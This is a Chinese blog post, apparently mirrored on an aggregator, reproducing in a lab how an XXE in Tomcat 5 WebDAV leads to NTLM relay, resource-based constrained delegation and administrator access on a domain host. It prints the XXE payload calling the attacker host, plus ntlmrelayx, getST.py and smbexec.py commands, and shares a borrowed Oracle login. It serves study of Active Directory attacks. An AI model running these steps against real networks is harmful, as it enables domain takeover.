XXE到域控复现(基于资源的约束委派)
source link: https://y4er.com/post/xxe-to-dc-replay/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
奇安信Ateam文章地址: XXE to 域控
概述
本文主要复现该文章中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。
一是对上文《Kerberos协议之基于资源的约束委派》的一个实战场景的讲解,二是加深对于资源约束委派的理解。
环境搭建
- 域控DC 172.16.33.12
- 目标机器DM2012 172.16.33.33
- 攻击机Kali 172.16.33.99
- 一个普通域账号 [email protected]
- 其他机器 DM 172.16.33.8
webdav环境由jdk8u202和tomcat5.0.28
下载地址:
- Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
- JDK8u202 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
- Oracle账号 [email protected] 密码:Oracle123 来自 老鼠拧刀满街找猫csdn
tomcat5自带了webdav,将搭建在dm2012目标机器上。配置好JAVA_HOME的环境变量之后,通过 PsExec64.exe -i -s cmd
以system权限启动tomcat。
复现
通过OPTIONS请求探测支持的请求方式
通过PROPFIND方法触发XXE
PROPFIND /webdav/ HTTP/1.1 Host: 172.16.33.33:8080 Content-Length: 247 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM "http://172.16.33.99/"> ]> <D:propertyupdate xmlns:D="DAV:"><D:set><D:prop> <a xmlns="http://172.16.33.99/">&loot;</a> </D:prop></D:set></D:propertyupdate>
因为java sun.net.www.protocol.http.HttpURLConnection
类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。
而基于资源的约束委派还需要一个服务账户,我们可以通过Powermad来添加。而通过powermad添加就需要走Kerberos认证,即需要一个普通域账户Jack。
以域账户jack运行powermad添加机器账号,密码 test123
在域控上已经添加了该账户
此时我们需要通过ntlm中继实现 evilpc$
到 dm2012$
的传入信任关系,即设置 evilpc$
到 dm2012$
的资源约束委派。这个资源约束委派是在 dm2012$
上设置的,是我们通过ntlm中继 dm2012$
链接到域控的ldap设置的。
impacket启动ntlm中继
impacket-ntlmrelayx -t ldap://dc.test.local -debug -ip 172.16.33.99 --delegate-access --escalate-user evilpc\$
触发xxe之后中继成功修改委派。接着模拟administrator申请高权限票据,然后ptt就完事了。
python3 getST.py -dc-ip dc.test.local test/evilpc\$:test123 -spn cifs/dm2012.test.local -impersonate administrator export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k dm2012.test.local
复现过程中碰到了 [-] Exception in HTTP request handler: invalid server address
的错误,解决办法是dns解析的问题,修改 /etc/resolv.conf
加上一行 nameserver 172.16.33.12
,让kali也能解析test.local域名就可以了。
总结
基于资源的约束委派利用条件:
evilpc$
相比于传统约束委派,信任关系的传入传出方向不同,设置的对象不同。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK